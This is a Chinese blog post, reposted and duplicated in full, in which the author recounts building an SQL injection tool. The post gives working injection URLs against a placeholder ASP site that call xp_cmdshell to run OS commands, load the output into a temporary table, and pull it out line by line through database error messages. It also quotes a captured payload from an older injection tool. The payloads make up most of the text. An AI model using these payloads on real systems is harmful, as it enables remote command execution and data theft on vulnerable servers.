我的一段执行 xp_cmdshell安全检测程序回显读取的经历!(
2010-10-22 11:02
330 查看
最近在写 xp_cmdshell 执行命令,怎样读取回显的事!
我在"企业管理器 SQL Server Enterprise Manager "执行一下命令
EXEC master.dbo.xp_cmdshell 'dir c:/'
可以显示内容,但,怎样把他显示出来? 我以前想,不就一行一行读取来,我是这样写的!
//先创建一个临时表 http://www.xxx.com/aa.asp?=1 ; create TABLE D99_CMD([output][varchar](1000));--
//之后把 xp_cmdshell 想显的内容输入临时表 http://www.xxx.com/aa.asp?=1 ; insert D99_CMD exec master.dbo.xp_cmdshell 'dir c:/'
//读取内容 http://www.xxx.com/aa.asp?=1 And (select Top 1 char(124)%2Boutput%2Bchar(124) From (select Top 1 output From D99_CMD Order by [output]) T Order by [output ] desc)>0
我读取内容的时候,才知道不能读取!我查看了临时表,内容是有的!
之后想想,应该是因建列的信息不足(有空行啊),内容不能爆出来!就算可以爆,也有可能不是按顺序的!
那要怎样一行一行的读取来了!
呵呵!所以我用了笨方法,什么方法,查一下现在网上已可用的 xp_cmdshell 的软件抓包看看!
这个软件很早就实现了这个功能,所以我拿他来抓包!
;EXEC ASTER..XP_CMDSHELL 'Dir C:/ > C:/NB_Commander_Txt.log';drop TABLE NB_Commander_Tmp;create TABLE NB_Commander_Tmp(ResultTxt varchar(7996) NULL);BULK insert [sdyy]..[NB_Commander_Tmp] FROM 'C:/NB_Commander_Txt.log' WITH (KEEPNULLS);alter Table NB_Commander_Tmp add ID int NOT NULL IDENTITY (1,1)--
他是把执行的回显内容写入一个文件,之后再把他导进数据库中,晕,前辈知道的SQL命令真多!
我看到代码晕了,好多!(不要笑我,其实我做注入工具以前,还一点也不懂SQL的!是写注入后,才知道了些注入的SQL命令)
看了前辈的代码,看到
ID int NOT NULL IDENTITY (1,1)
自动编号!!!!
可不可以在执行 xp_cmdshell 时,同时也加进一个唯一的ID号!!!!
我在临时表里,加入了一个自动编程的ID,之后,我再执行xp_cmdshell命令把回显的内容导入数据库,执行完命令后,我再查看了临时表!
我高兴了,可以导入内容的! 成功了,成功了!!!(我以前不知道可以这样加的!不太熟SQL了,不要笑我了)有了一个可以排序的ID,爆内容就不复杂了!
我改的代码!
===============================================================
创建表,加了个自动编号的ID,并把xp_cmdshell的回显内容导入临时表 http://www.xxx.com/aa.asp?=1 ;drop TABLE D99_CMD; create TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1));insert D99_CMD exec master.dbo.xp_cmdshell 'dir c:/' ;--
//之后爆内容了,可以一行一行的爆! http://www.xxx.com/aa.asp?=1 And (select Top 1 char(124)%2Bdata%2Bchar(124) From (select Top 1 [ID],[Data] From D99_CMD Order by [ID]) T Order by [ID] desc)>0
===============================================================
drop TABLE D99_CMD
是清除以前的内容
如果想知道有多少行,可以这样读 http://www.xxx.com/aa.asp?=1 And (select char(124)%2Bcast(Count(1) as varchar(8000))%2Bchar(124) From D99_CMD)>0
回显的内容如下:
----------------------------------------------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 '|37|' 转换为数据类型为 int 的列时发生语法错误。
'|37|' 里的 37 就是行数
=======================================
是因为我SQL命令不太熟悉,所以走了很多弯路!
这也是我用 xp_cmdshell 执行回显问题的一点经历!
我在"企业管理器 SQL Server Enterprise Manager "执行一下命令
EXEC master.dbo.xp_cmdshell 'dir c:/'
可以显示内容,但,怎样把他显示出来? 我以前想,不就一行一行读取来,我是这样写的!
//先创建一个临时表 http://www.xxx.com/aa.asp?=1 ; create TABLE D99_CMD([output][varchar](1000));--
//之后把 xp_cmdshell 想显的内容输入临时表 http://www.xxx.com/aa.asp?=1 ; insert D99_CMD exec master.dbo.xp_cmdshell 'dir c:/'
//读取内容 http://www.xxx.com/aa.asp?=1 And (select Top 1 char(124)%2Boutput%2Bchar(124) From (select Top 1 output From D99_CMD Order by [output]) T Order by [output ] desc)>0
我读取内容的时候,才知道不能读取!我查看了临时表,内容是有的!
之后想想,应该是因建列的信息不足(有空行啊),内容不能爆出来!就算可以爆,也有可能不是按顺序的!
那要怎样一行一行的读取来了!
呵呵!所以我用了笨方法,什么方法,查一下现在网上已可用的 xp_cmdshell 的软件抓包看看!
这个软件很早就实现了这个功能,所以我拿他来抓包!
;EXEC ASTER..XP_CMDSHELL 'Dir C:/ > C:/NB_Commander_Txt.log';drop TABLE NB_Commander_Tmp;create TABLE NB_Commander_Tmp(ResultTxt varchar(7996) NULL);BULK insert [sdyy]..[NB_Commander_Tmp] FROM 'C:/NB_Commander_Txt.log' WITH (KEEPNULLS);alter Table NB_Commander_Tmp add ID int NOT NULL IDENTITY (1,1)--
他是把执行的回显内容写入一个文件,之后再把他导进数据库中,晕,前辈知道的SQL命令真多!
我看到代码晕了,好多!(不要笑我,其实我做注入工具以前,还一点也不懂SQL的!是写注入后,才知道了些注入的SQL命令)
看了前辈的代码,看到
ID int NOT NULL IDENTITY (1,1)
自动编号!!!!
可不可以在执行 xp_cmdshell 时,同时也加进一个唯一的ID号!!!!
我在临时表里,加入了一个自动编程的ID,之后,我再执行xp_cmdshell命令把回显的内容导入数据库,执行完命令后,我再查看了临时表!
我高兴了,可以导入内容的! 成功了,成功了!!!(我以前不知道可以这样加的!不太熟SQL了,不要笑我了)有了一个可以排序的ID,爆内容就不复杂了!
我改的代码!
===============================================================
创建表,加了个自动编号的ID,并把xp_cmdshell的回显内容导入临时表 http://www.xxx.com/aa.asp?=1 ;drop TABLE D99_CMD; create TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1));insert D99_CMD exec master.dbo.xp_cmdshell 'dir c:/' ;--
//之后爆内容了,可以一行一行的爆! http://www.xxx.com/aa.asp?=1 And (select Top 1 char(124)%2Bdata%2Bchar(124) From (select Top 1 [ID],[Data] From D99_CMD Order by [ID]) T Order by [ID] desc)>0
===============================================================
drop TABLE D99_CMD
是清除以前的内容
如果想知道有多少行,可以这样读 http://www.xxx.com/aa.asp?=1 And (select char(124)%2Bcast(Count(1) as varchar(8000))%2Bchar(124) From D99_CMD)>0
回显的内容如下:
----------------------------------------------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 '|37|' 转换为数据类型为 int 的列时发生语法错误。
'|37|' 里的 37 就是行数
=======================================
是因为我SQL命令不太熟悉,所以走了很多弯路!
这也是我用 xp_cmdshell 执行回显问题的一点经历!
相关文章推荐
- 我的一段执行 xp_cmdshell回显读取的经历!(图)
- 一段代码到可执行程序所有经历
- 程序执行需要读取到安全敏感项必需在androidmanifest.xml中声明相关权限请求, 完整列表如下:
- sqlserver2005 xp_cmdshell执行exe程序
- xp_cmdshell 执行回显问题的一点经历
- SQL 使用..xp_cmdshell 执行相应程序
- VC++ 2005编译出程序在XP下执行出错的解决方法
- 如何检测当前已安装的杀毒软件和软件更新时间,就像XP的安全中心那样
- 下载安全程序需谨慎 黑客盯上XP用户
- SA 沙盘模式下不用恢复xp_cmdshell和xplog70.dll也执行命令
- Dotnet中检测程序执行时间
- 如何在不提升用户权限的情况下,使普通用户执行xp_cmdshell存储过程2008-11-26 14:09:29SQL Server 2005 及之后的版本
- 最简单的ADABOOST人脸检测程序。COPY执行,前提是你配置OpenCV周围环境
- linux下 c中怎么让才能安全关闭线程 和 linux线程退出时执行的程序(线程清理处理程序)简单例子
- 客户端定时读取文件发送到服务器存到文件中(二、Crontab定时执行文件传输程序)
- MSSql中启用xp_cmdshell调用第三方程序以及遇到中文路径时报错的解决方案
- 编写一段程序,从标准输入读取string对象的序列直到连续出现两个相同的单词或者所有单词都读完为止
- NSIS 检测程序版本号、注册表的写入与读取实例 (学习二)
- SA下不用恢复xp_cmdshell和xplog70.dll也执行命令
- linux的shell命令检测某个java程序是否执行